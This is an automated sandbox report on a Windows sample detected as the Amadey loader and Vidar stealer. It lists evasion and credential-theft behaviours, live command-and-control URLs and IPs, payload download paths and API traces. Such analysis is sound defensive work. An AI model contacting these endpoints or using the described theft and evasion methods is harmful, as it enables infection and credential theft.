Windows Analysis Report
IRqsWvBBMc.exe

Overview

General Information

Sample name: IRqsWvBBMc.exe
renamed because original name is a hash value
Original sample name: 78343efcb6f731cd7668e648ed73e40f.exe
Analysis ID: 1482971
MD5: 78343efcb6f731cd7668e648ed73e40f
SHA1: 7d7d8ff1aa08a1e4bfc766ec8a59576de2e49e99
SHA256: f0cca8a13c6f8d768fb49efc17a0181cde1c28f9afb0be916b441bcdf75194ae
Tags: 32exetrojan
Infos:

Detection

Amadey, Vidar
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Detected unpacking (creates a PE file in dynamic memory)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected Amadeys stealer DLL
Yara detected Powershell download and execute
Yara detected Vidar
Yara detected Vidar stealer
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Machine Learning detection for dropped file
Machine Learning detection for sample
PE file contains section with special chars
Searches for specific processes (likely to inject)
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
AV process strings found (often used to terminate AV products)
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to create guard pages, often used to hinder reverse usering and debugging
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries keyboard layouts
Queries the installation date of Windows
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
Vidar Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: IRqsWvBBMc.exe Avira: detected
Antivirus detection for URL or domain
Source: https://5.75.212.60/sqls.dll Avira URL Cloud: Label: malware
Source: http://185.215.113.16/inc/build_2024-07-25_20-56.exeq Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/inc/server.exe9c5867ded Avira URL Cloud: Label: phishing
Source: https://5.75.212.60/nss3.dllll Avira URL Cloud: Label: malware
Source: http://185.215.113.16/inc/server.exe Avira URL Cloud: Label: phishing
Source: https://steamcommunity.com/profiles/76561199747278259/badges Avira URL Cloud: Label: malware
Source: https://5.75.212.60/msvcp140.dlld Avira URL Cloud: Label: malware
Source: http://185.215.113.16/Jo89Ku7d/index.phpft Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.phpnu Avira URL Cloud: Label: phishing
Source: https://5.75.212.60/( Avira URL Cloud: Label: malware
Source: http://185.215.113.16/Jo89Ku7d/index.phpUsers Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.phpncoded Avira URL Cloud: Label: phishing
Source: https://5.75.212.60/? Avira URL Cloud: Label: malware
Source: https://t.me/armad2a Avira URL Cloud: Label: malware
Source: https://5.75.212.60/4 Avira URL Cloud: Label: malware
Source: https://5.75.212.60/L Avira URL Cloud: Label: malware
Source: https://5.75.212.60/softokn3.dllj Avira URL Cloud: Label: malware
Source: https://5.75.212.60/E Avira URL Cloud: Label: malware
Source: https://5.75.212.60/Z Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199747278259 Avira URL Cloud: Label: malware
Source: http://185.215.113.16/Jo89Ku7d/index.php6323e228833c10fe3eb39f1caffb81382ae#xe Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.phpncodedy1 Avira URL Cloud: Label: phishing
Source: https://5.75.212.60/softokn3.dll Avira URL Cloud: Label: malware
Source: http://185.215.113.16/Jo89Ku7d/index.phpzRm4SJjISZA3JNjZ64n0LR= Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/inc/server.exe9c5867ee8 Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/inc/build_2024-07-25_20-56.exe Avira URL Cloud: Label: phishing
Source: https://steamcommunity.com/profiles/76561199747278259/inventory/ Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 0000000A.00000002.3355872691.0000000003FA0000.00000040.00001000.00020000.00000000.sdmp Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199747278259"], "Botnet": "e0c99e9ff0b95355e8ec19c548ab0f83"}
Source: axplong.exe.6432.7.memstrmin Malware Configuration Extractor: Amadey {"C2 url": ["http://185.215.113.16/Jo89Ku7d/index.php"]}
Multi AV Scanner detection for domain / URL
Source: arpdabl.zapto.org Virustotal: Detection: 11% Perma Link
Source: https://5.75.212.60/sqls.dll Virustotal: Detection: 11% Perma Link
Source: http://185.215.113.16/inc/server.exe Virustotal: Detection: 18% Perma Link
Source: http://185.215.113.16/Jo89Ku7d/index.phpft Virustotal: Detection: 14% Perma Link
Source: http://185.215.113.16/Jo89Ku7d/index.phpnu Virustotal: Detection: 14% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\server[1].exe ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\build_2024-07-25_20-56[1].exe ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe ReversingLabs: Detection: 36%
Multi AV Scanner detection for submitted file
Source: IRqsWvBBMc.exe Virustotal: Detection: 54% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\build_2024-07-25_20-56[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: IRqsWvBBMc.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00406D50 CryptUnprotectData,LocalAlloc,LocalFree, 10_2_00406D50
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00406CD0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 10_2_00406CD0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00410DF0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA, 10_2_00410DF0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00408980 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,PK11_FreeSlot,lstrcatA,PK11_FreeSlot,lstrcatA, 10_2_00408980
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C276C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer, 10_2_6C276C80
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3CA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util, 10_2_6C3CA9A0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C394420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free, 10_2_6C394420
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3C4440 PK11_PrivDecrypt, 10_2_6C3C4440
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3C44C0 PK11_PubEncrypt, 10_2_6C3C44C0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C4125B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt, 10_2_6C4125B0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3A8670 PK11_ExportEncryptedPrivKeyInfo, 10_2_6C3A8670
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3CA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext, 10_2_6C3CA650

Compliance
barindex
Detected unpacking (creates a PE file in dynamic memory)
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Unpacked PE file: 10.2.build_2024-07-25_20-56.exe.19150000.4.unpack
Source: C:\ProgramData\CFHIIJDBKE.exe Unpacked PE file: 11.2.CFHIIJDBKE.exe.3350000.2.unpack
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Unpacked PE file: 10.2.build_2024-07-25_20-56.exe.400000.1.unpack
Uses 32bit PE files
Source: IRqsWvBBMc.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.6:60783 version: TLS 1.2
Source: unknown HTTPS traffic detected: 5.75.212.60:443 -> 192.168.2.6:60785 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.72.79:443 -> 192.168.2.6:60800 version: TLS 1.2
Source: Binary string: mozglue.pdbP source: build_2024-07-25_20-56.exe, 0000000A.00000002.3461746311.000000006C2DD000.00000002.00000001.01000000.0000000C.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.10.dr
Source: Binary string: freebl3.pdb source: build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.10.dr
Source: Binary string: freebl3.pdbp source: build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.10.dr
Source: Binary string: nss3.pdb@ source: build_2024-07-25_20-56.exe, 0000000A.00000002.3483048029.000000006C49F000.00000002.00000001.01000000.0000000B.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ntdll.pdb source: server.exe, 00000009.00000002.2951247968.000002154A196000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953748985.000002154C190000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953613503.000002154BF96000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2949871501.0000021549197000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950026853.0000021549398000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952821135.000002154B394000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2951676613.000002154A596000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952244888.000002154AB9F000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952028567.000002154A99A000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953075860.000002154B79F000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953342918.000002154BB9B000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950201489.0000021549599000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953481772.000002154BD9E000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2951868489.000002154A79F000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952948313.000002154B59D000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950724116.0000021549B90000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950902814.0000021549D9D000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953209514.000002154B990000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2951426592.000002154A393000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952693189.000002154B198000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950549608.0000021549992000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2951082794.0000021549F9B000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952559231.000002154AF9F000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952409232.000002154AD9E000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950380023.0000021549795000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ntdll.pdbUGP source: server.exe, 00000009.00000002.2951247968.000002154A196000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953748985.000002154C190000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953613503.000002154BF96000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2949871501.0000021549197000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950026853.0000021549398000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952821135.000002154B394000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2951676613.000002154A596000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952244888.000002154AB9F000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952028567.000002154A99A000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953075860.000002154B79F000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953342918.000002154BB9B000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950201489.0000021549599000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953481772.000002154BD9E000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2951868489.000002154A79F000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952948313.000002154B59D000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950724116.0000021549B90000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950902814.0000021549D9D000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953209514.000002154B990000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2951426592.000002154A393000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952693189.000002154B198000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950549608.0000021549992000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2951082794.0000021549F9B000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952559231.000002154AF9F000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952409232.000002154AD9E000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950380023.0000021549795000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: softokn3.pdb@ source: build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: build_2024-07-25_20-56.exe, 0000000A.00000002.3425240612.000000003B947000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.10.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: build_2024-07-25_20-56.exe, 0000000A.00000002.3410147281.000000002FA6D000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.10.dr
Source: Binary string: nss3.pdb source: build_2024-07-25_20-56.exe, 0000000A.00000002.3483048029.000000006C49F000.00000002.00000001.01000000.0000000B.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mozglue.pdb source: build_2024-07-25_20-56.exe, 0000000A.00000002.3461746311.000000006C2DD000.00000002.00000001.01000000.0000000C.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.10.dr
Source: Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: build_2024-07-25_20-56.exe, 0000000A.00000002.3373250365.000000001B8E1000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3366366863.0000000019368000.00000002.00001000.00020000.00000000.sdmp
Source: Binary string: softokn3.pdb source: build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00401110 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,LoadLibraryW,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 10_2_00401110
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_004099F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 10_2_004099F0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_0040A2C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA, 10_2_0040A2C0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_004156C0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 10_2_004156C0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_0040C2E0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 10_2_0040C2E0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00415EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 10_2_00415EA0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00414F80 wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,FindNextFileA,FindClose, 10_2_00414F80
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_0040B390 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 10_2_0040B390
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00409D40 StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 10_2_00409D40
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00415A70 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 10_2_00415A70
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_0040AAB0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 10_2_0040AAB0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_004153C0 GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA, 10_2_004153C0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: https://steamcommunity.com/profiles/76561199747278259
Source: Malware configuration extractor IPs: 185.215.113.16
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.6:60854 -> 91.92.250.213:1110
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 10:57:04 GMTContent-Type: application/octet-streamContent-Length: 2711040Last-Modified: Fri, 26 Jul 2024 09:19:06 GMTConnection: keep-aliveETag: "66a36a0a-295e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0b 00 20 50 a2 66 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 24 00 0e 27 00 00 5a 29 00 00 60 06 00 9a 10 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 30 30 00 00 04 00 00 71 45 2a 00 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 e0 2f 00 0c 05 00 00 00 10 30 00 38 01 00 00 00 e0 28 00 8c 4c 00 00 00 00 00 00 00 00 00 00 00 20 30 00 94 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ce 28 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e1 2f 00 18 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 18 0d 27 00 00 10 00 00 00 0e 27 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 c0 e6 00 00 00 20 27 00 00 e8 00 00 00 12 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 98 c3 00 00 00 10 28 00 